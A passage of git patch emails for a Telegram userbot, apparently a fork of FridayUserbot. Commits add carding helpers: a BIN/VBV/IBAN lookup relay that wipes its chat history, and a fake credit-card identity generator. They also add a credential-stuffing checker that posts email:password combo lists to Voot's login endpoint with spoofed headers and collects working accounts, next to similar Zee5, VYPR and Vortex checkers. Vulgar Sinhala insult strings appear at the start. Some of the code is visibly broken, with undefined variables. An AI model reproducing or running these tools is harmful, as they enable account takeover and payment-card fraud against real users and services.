Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) From bb746f827be8693657340a83ed73449f9cf643d1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 5 Jan 2021 08:07:44 +0530 Subject: [PATCH 335/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 42ccf26a..02f8d476 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -158,7 +158,7 @@ class Config(object): "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" + "ALIVE_IMAGE", none ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", From 789e1b0255136eb451c7f5c10c8e0e845aea180e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 5 Jan 2021 09:03:55 +0530 Subject: [PATCH 336/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 02f8d476..d4059570 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -158,7 +158,7 @@ class Config(object): "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", none + "ALIVE_IMAGE", None ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", From 755220daef35a3e963dea9b6aeafb7cb0057b917 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 5 Jan 2021 09:18:48 +0530 Subject: [PATCH 337/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index d4059570..42ccf26a 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -158,7 +158,7 @@ class Config(object): "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", None + "ALIVE_IMAGE", "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", From 38012a91c188aa098c819bf519525fa90c08be52 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 13:45:42 +0530 Subject: [PATCH 338/838] =?UTF-8?q?With=20respect=20to=20original=20bot=20?= =?UTF-8?q?owners=20=F0=9F=99=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1342e1b2..f6641b45 100644 --- a/README.md +++ b/README.md @@ -180,13 +180,26 @@ published by the Free Software Foundation, either version 3 of the License, or # Full Credits -- FridayUserBot +- FridayUserBot ❤️ +- DarkCobra 😍 - CatUserbot -- DarkCobra -- Uniborg🤗 +- Uniborg - TeleBot +# Disclaimer 🧐 + +## Use at your Own Risk 😇 +Virtualuserbot don't have any torrent leeching plugins.. So risk of bans in TG is low +But somehow if you get banned or anything happened WE ARE NOT RESPONSIBLE FOR THEM + +## Report Errors only to virtualuserbot developers + +There are various plugins in virtualuserbot owned by Friday and other userbots.. +All the plugins are reconfigured for for virtualuserbot. So if you have any errors please report only to the virtualuserbot developers + +### If you are using adult content in the bot or if you harm someone with fun plugins of the bot you might get banned from Telegram. We are not responsible for that 😅 ### ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ ### 😍 Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. 😍 + From a446135873801fb898ccccaefc5cbd4610127af2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 13:49:07 +0530 Subject: [PATCH 339/838] With respect to Friday project --- README.md | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index f6641b45..6ae287b1 100644 --- a/README.md +++ b/README.md @@ -186,20 +186,19 @@ published by the Free Software Foundation, either version 3 of the License, or - Uniborg - TeleBot -# Disclaimer 🧐 +# 🧐 Disclaimer -## Use at your Own Risk 😇 +### Use at your Own Risk 😇 Virtualuserbot don't have any torrent leeching plugins.. So risk of bans in TG is low But somehow if you get banned or anything happened WE ARE NOT RESPONSIBLE FOR THEM -## Report Errors only to virtualuserbot developers +### Report Errors only to virtualuserbot developers There are various plugins in virtualuserbot owned by Friday and other userbots.. All the plugins are reconfigured for for virtualuserbot. So if you have any errors please report only to the virtualuserbot developers ### If you are using adult content in the bot or if you harm someone with fun plugins of the bot you might get banned from Telegram. We are not responsible for that 😅 -### ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ +## ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ ### 😍 Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. 😍 - From c222c16653606d6683b07cc1cf648ceacf4766be Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:04:46 +0530 Subject: [PATCH 340/838] Bin Checker Guys.. Most wanted one --- fridaybot/modules/bin.py | 102 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 fridaybot/modules/bin.py diff --git a/fridaybot/modules/bin.py b/fridaybot/modules/bin.py new file mode 100644 index 00000000..c405846b --- /dev/null +++ b/fridaybot/modules/bin.py @@ -0,0 +1,102 @@ + +# pata nhi sir 👀👀👀👀 +from telethon import functions, types, events +from telethon.tl.functions.messages import DeleteHistoryRequest +from fridaybot import bot as danish_00 +from telethon.errors.rpcerrorlist import YouBlockedUserError +from telethon.tl.functions.account import UpdateNotifySettingsRequest +from ..utils import admin_cmd as danishehe + +@danish_00.on(danishehe(pattern="bin ?(.*)")) +async def _(event): + if event.fwd_from: + return + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Searching ur bin 😅😁...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) + await event.client.send_message(chat, "/bin {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + +@danish_00.on(danishehe(pattern="vbv ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) + await event.client.send_message(chat, "/vbv {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + +@danish_00.on(danishehe(pattern="key ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) + await event.client.send_message(chat, "/key {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + +@danish_00.on(danishehe(pattern="iban ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1247032902)) + await event.client.send_message(chat, "/iban {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + From ce9a9bada7bfd4b08bf47a7895fff34ade52f8ef Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:16:08 +0530 Subject: [PATCH 341/838] Update bin.py --- fridaybot/modules/bin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/bin.py b/fridaybot/modules/bin.py index c405846b..5eb9aacb 100644 --- a/fridaybot/modules/bin.py +++ b/fridaybot/modules/bin.py @@ -7,7 +7,7 @@ from telethon.tl.functions.account import UpdateNotifySettingsRequest from ..utils import admin_cmd as danishehe -@danish_00.on(danishehe(pattern="bin ?(.*)")) +@danish_00.on(danishehe(pattern="bin2 ?(.*)")) async def _(event): if event.fwd_from: return From 34a10899508f9b4e1b9b9e93ff873a1bcbf8c4c3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:25:27 +0530 Subject: [PATCH 342/838] Update bin.py --- fridaybot/modules/bin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/bin.py b/fridaybot/modules/bin.py index 5eb9aacb..20fb7d18 100644 --- a/fridaybot/modules/bin.py +++ b/fridaybot/modules/bin.py @@ -77,7 +77,7 @@ async def _(event): await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) await event.delete() -@danish_00.on(danishehe(pattern="iban ?(.*)")) +@danish_00.on(danishehe(pattern="iban2 ?(.*)")) async def _(event): if event.fwd_from: return From a18f7d9b2023126aa3f31948547d08de0764e13a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:26:05 +0530 Subject: [PATCH 343/838] Create card.py --- fridaybot/modules/card.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 fridaybot/modules/card.py diff --git a/fridaybot/modules/card.py b/fridaybot/modules/card.py new file mode 100644 index 00000000..263585ae --- /dev/null +++ b/fridaybot/modules/card.py @@ -0,0 +1,17 @@ +# Original By +# @THE_B_LACK_HAT +# @danish_00 +# For #Cobra +# +# Card Generator +############################## +from faker import Faker as dc +from ..utils import admin_cmd as hehe +from fridaybot import bot as cobra +@cobra.on(hehe("card")) +async def _cobra(dark): + cyber = dc() + killer = cyber.name() + kali = cyber.address() + danish = cyber.credit_card_full() + await dark.edit(f"ℕ𝕒𝕞𝕖:-\n`{killer}`\n\n𝔸𝕕𝕕𝕣𝕖𝕤𝕤:-\n`{kali}`\n\nℂ𝕒𝕣𝕕:-\n`{danish}`") From 0e18660447dcea8e312328173b88d5509e314c67 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:39:15 +0530 Subject: [PATCH 344/838] Update crack_tools.py --- fridaybot/modules/crack_tools.py | 117 +++++++++++++++++++++++++------ 1 file changed, 96 insertions(+), 21 deletions(-) diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py index fffefa79..d6e30319 100644 --- a/fridaybot/modules/crack_tools.py +++ b/fridaybot/modules/crack_tools.py @@ -20,6 +20,24 @@ "accept-encoding": "gzip", "user-agent": "RemotrAndroid/1.5.0" } + + +face = { + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Content-Length": "136", + "Content-Type": "application/json;charset=UTF-8", + "Host": "userauth.voot.com", + "Origin": "https://www.voot.com", + "Referer": "https://www.voot.com", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66" +} + + @friday.on(friday_on_cmd(pattern="cz5$")) async def zee5(event): await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') @@ -29,10 +47,8 @@ async def zee5(event): bads = 0 lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - file = open(starky, "r") - lines = file.readlines() - for line in lines: - stark_dict.append(line) + with open(starky) as f: + stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') @@ -55,7 +71,7 @@ async def zee5(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT') + hitfile.write(s + ' | @Infinity_Bots') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -70,10 +86,8 @@ async def vypr(event): bads = 0 lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - file = open(starky, "r") - lines = file.readlines() - for line in lines: - stark_dict.append(line) + with open(starky) as f: + stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') @@ -101,7 +115,7 @@ async def vypr(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT') + hitfile.write(s + ' | @Infinity_Bots') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -116,10 +130,8 @@ async def vortex(event): bads = 0 lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - file = open(starky, "r") - lines = file.readlines() - for line in lines: - stark_dict.append(line) + with open(starky) as f: + stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') @@ -147,7 +159,7 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT') + hitfile.write(s + ' | @Infinity_Bots') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -162,10 +174,8 @@ async def vortex(event): bads = 0 lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - file = open(starky, "r") - lines = file.readlines() - for line in lines: - stark_dict.append(line) + with open(starky) as f: + stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') @@ -200,7 +210,7 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT') + hitfile.write(s + ' | @Infinity_Bots') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -243,13 +253,76 @@ async def _(event): await event.edit("Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid.") elif Counter>=1: file1 = open("goood.txt", "a") - file1.write("\nCHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT. ") + file1.write("\nCHECKED BY VirtualUserbot. GET YOUR OWN VirtualUserbot FROM @Infinity_Bots. ") file1.close() await borg.send_file(event.chat_id, "goood.txt", caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") os.remove(escobar) os.remove("goood.txt") +@friday.on(friday_on_cmd(pattern="cvt$")) +async def voot(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + normal_dict = [] + good_dict = [] + hits = 0 + bady = 0 + lol = await event.get_reply_message() + humm = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + with open(hummu) as f: + normal_dict = f.read().splitlines() + os.remove(humm) + if len(normal_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in normal_dict: + mmho = i.split(":") + email = mmho[0] + try: + password = mmho[1] + except IndexError: + continue + hell = { + "type":"traditional", + "deviceId":"Windows NT 10.0", + "deviceBrand":"PC/MAC", + "data":{"email":email, "password":password}} + r = requests.post("https://userauth.voot.com/usersV3/v3/login", json=hell, headers=face).json() + a = r.get("data") + + kk = r.get("status") + + if a != None: + hits += 1 + good_dict.append(f"{email}:{password}") + + elif kk != None: + bady += 1 + c = kk.get("code") + if c == 1906: + await event.edit("voot server is blocking the requests. please try after few minutes...") + if len(good_dict) == 0: + return + with open("hits.txt", "w") as hitfile: + for s in good_dict: + hitfile.write(s + ' | @FridayOT') + await borg.send_file(event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`") + os.remove("hits.txt") + return + + if len(good_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in good_dict: + hitfile.write(s + ' | @Infinity_Bots') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`" + ) + os.remove("hits.txt") + + + CMD_HELP.update( { "cracking_tools": "**Cracking Tools**\ @@ -257,6 +330,8 @@ async def _(event): \n**Usage :** Checks for Zee5 accounts from combo.\ \n\n**Syntax : **`.cnd `\ \n**Usage :** Checks for VYPR accounts from combo.\ +\n\n**Syntax : **`.cvt `\ +\n**Usage :** Checks for Voot accounts from combo.\ \n\n**Syntax : **`.cvx `\ \n**Usage :** Checks for Vortex accounts from combo.\ \n\n**Syntax : **`.cz5 `\ From 99cafccaef478eb891ee047a50c7c4a0cd8d1554 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:40:23 +0530 Subject: [PATCH 345/838] Update ping.py --- fridaybot/modules/ping.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 9e4b0e53..24846534 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -44,7 +44,7 @@ async def _(event): ms = (end - start).microseconds / 1000 uptime = get_readable_time((time.time() - Lastupdate)) await starkislub.edit( - f"**█▀█ █▀█ █▄░█ █▀▀ █ \n█▀▀ █▄█ █░▀█ █▄█ ▄**\n ➲ `{ms}` \n ➲ `{uptime}`" + f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" ) From 11a6ddaa56f068bb9e18de3589fe16ae12ec50ff Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:43:47 +0530 Subject: [PATCH 346/838] Update fedban.py --- fridaybot/modules/fedban.py | 155 +++++++++++------------------------- 1 file changed, 46 insertions(+), 109 deletions(-) diff --git a/fridaybot/modules/fedban.py b/fridaybot/modules/fedban.py index da6df33a..24846534 100644 --- a/fridaybot/modules/fedban.py +++ b/fridaybot/modules/fedban.py @@ -1,120 +1,57 @@ -from fridaybot.function import fetch_feds -from fridaybot.modules.sql_helper.feds_sql import ( - add_fed, - get_all_feds, - is_fed_indb, - rmfed, -) -from fridaybot.utils import friday_on_cmd +import time +from datetime import datetime -chnnl_grp = Config.FBAN_GROUP +from fridaybot import CMD_HELP, Lastupdate +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -@friday.on(friday_on_cmd(pattern="fadd ?(.*)")) -async def _(event): - nolol = 0 - yeslol = 0 - await event.edit("`Processing..`") - lol_s = event.pattern_match.group(1) - if lol_s == None: - await event.edit("`Give FeD ID`") - return - elif lol_s == " ": - await event.edit("`Give FeD ID`") - return - elif lol_s == "all": - hmm = await fetch_feds(event, borg) - for i in hmm: - try: - if is_fed_indb(i): - nolol += 1 - elif not is_fed_indb(i): - add_fed(i) - yeslol += 1 - except: - pass - await event.edit(f"`Added {yeslol} Feds To DB, Failed To Add {nolol} Feds.`") - elif is_fed_indb(lol_s): - await event.edit("`Fed Already Found On DataBase.`") - return - elif not is_fed_indb(lol_s): - add_fed(lol_s) - await event.edit("`Done ! Added This Fed To DataBase`") +def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) -@friday.on(friday_on_cmd(pattern="frm ?(.*)")) -async def _(event): - lol_s = event.pattern_match.group(1) - await event.edit("`Processing..`") - lol = get_all_feds() - if lol_s == None: - await event.edit("`Give FeD ID`") - return - elif lol_s == " ": - await event.edit("`Give FeD ID`") - return - elif lol_s == "all": - for sedm in lol: - rmfed(sedm.feds) - await event.edit("`Done, Cleared. All Fed Database.") - elif is_fed_indb(lol_s): - rmfed(lol_s) - await event.edit("`Done, Removed This FeD From DB`") - elif not is_fed_indb(lol_s): - await event.edit("`This Fed Not Found On Db.`") + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + time_list.reverse() + ping_time += ":".join(time_list) -@friday.on(friday_on_cmd(pattern="fban ?(.*)")) -async def _(event): - lol_s = event.pattern_match.group(1) - if lol_s == None: - await event.edit("`No user Found To Fban.`") - return - all_fed = get_all_feds() - errors = 0 - len_feds = len(all_fed) - if len_feds == 0: - await event.edit("`No Fed IN DB, Add One To Do So.`") - return - await event.edit(f"`FBanning in {len_feds} Feds.`") - try: - await borg.send_message(chnnl_grp, "/start") - except Exception as e: - await event.edit("**Errors** : " + str(e)) - return - for teamz in all_fed: - try: - await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) - await borg.send_message(chnnl_grp, "/fban " + lol_s) - await asyncio.sleep(5) - except: - errors += 1 - await event.edit( - f"**Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" - ) + return ping_time -@friday.on(friday_on_cmd(pattern="unfban ?(.*)")) +@friday.on(friday_on_cmd(pattern="ping$")) +@friday.on(sudo_cmd(pattern="ping$", allow_sudo=True)) async def _(event): - lol_s = event.pattern_match.group(1) - if lol_s == None: - await event.edit("`No user Found To Fban.`") - return - all_fed = get_all_feds() - errors = 0 - len_feds = len(all_fed) - await event.edit(f"`UnFBanning in {len_feds} Feds.`") - try: - await borg.send_message(chnnl_grp, "/start") - except Exception as e: - await event.edit("**Errors** : " + str(e)) - return - for teamz in all_fed: - try: - await borg.send_message(chnnl_grp, "/unfban " + lol_s) - await asyncio.sleep(5) - except: - errors += 1 - await event.edit( - f"**Un-Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + starkislub = await edit_or_reply(event, "`Pong !`") + if event.fwd_from: + return + start = datetime.now() + end = datetime.now() + ms = (end - start).microseconds / 1000 + uptime = get_readable_time((time.time() - Lastupdate)) + await starkislub.edit( + f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" ) + + +CMD_HELP.update( + { + "ping": "**Ping**\ +\n\n**Syntax : **`.pin`\ +\n**Usage :** Get uptime and speed of your bot." + } +) From ea596e1ee74b7794c3efee85af1cad75e355e1b6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:56:02 +0530 Subject: [PATCH 347/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 175 +++++++++++++++++++++++++++++++- 1 file changed, 172 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 738af6a2..68bbaff7 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -2,13 +2,16 @@ import re import urllib from math import ceil - +from re import findall +from search_engine_parser import GoogleSearch +from fridaybot.function import _ytdl +from urllib.parse import quote import requests from telethon import Button, custom, events, functions from youtubesearchpython import VideosSearch from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST from fridaybot.modules import inlinestats - +from pornhub_api import PornhubApi PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" @@ -140,6 +143,29 @@ async def rip(event): await event.answer(txt, alert=True) + +@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) +async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = True + ok = await _ytdl(link_s, is_it, event, tgbot) + +@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) +async def rip(event): + link_s = event.pattern_match.group(1) + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources." + await event.answer(text, alert=True) + return + ok = await _phdl(link_s, event, tgbot) + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) async def rip(event): if event.query.user_id == bot.uid: @@ -445,7 +471,7 @@ async def inline_handler(event): if query == None: resulte = builder.article( title="Usage Guide.", - description="(C) VirtualUserbot", + description="(C) @VirtualUserbot", text=f"**How To Use Me?** \n**Youtube :** `@{firstname} yt ` \n**Example :** `@{firstname} yt why we lose song` \n\n**Torrent :** `@{firstname} torrent ` \n**Example :** `@{firstname} torrent avengers endgame ` \n\n**JioSaavan :** `@{firstname} jm ` \n**Example :** `@{firstname} jm dilbaar`", buttons=[ [Button.url("Contact Me", f"t.me/{firstname}")], @@ -459,3 +485,146 @@ async def inline_handler(event): ], ) await event.answer([resulte]) + + +@tgbot.on(events.InlineQuery(pattern=r"google (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", + ) + await event.answer([resultm]) + return + results = [] + match = event.pattern_match.group(1) + page = findall(r"page=\d+", match) + try: + page = page[0] + page = page.replace("page=", "") + match = match.replace("page=" + page[0], "") + except IndexError: + page = 1 + + search_args = (str(match), int(page)) + gsearch = GoogleSearch() + gresults = await gsearch.async_search(*search_args) + msg = "" + for i in range(len(gresults["links"])): + try: + title = gresults["titles"][i] + link = gresults["links"][i] + desc = gresults["descriptions"][i] + okiknow = f"**GOOGLE - SEARCH** \n[{title}]({link})\n\n`{desc}`" + results.append( + await event.builder.article( + title=title, + description=desc, + text=okiknow, + buttons=[ + Button.switch_inline( + "Search Again", query="google ", same_peer=True + ) + ], + ) + ) + except IndexError: + break + await event.answer(results) + +@tgbot.on(events.InlineQuery(pattern=r"ph (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + results = [] + input_str = event.pattern_match.group(1) + api = PornhubApi() + data = api.search.search( + input_str, + ordering="mostviewed" + ) + ok = 1 + oik = "" + for vid in 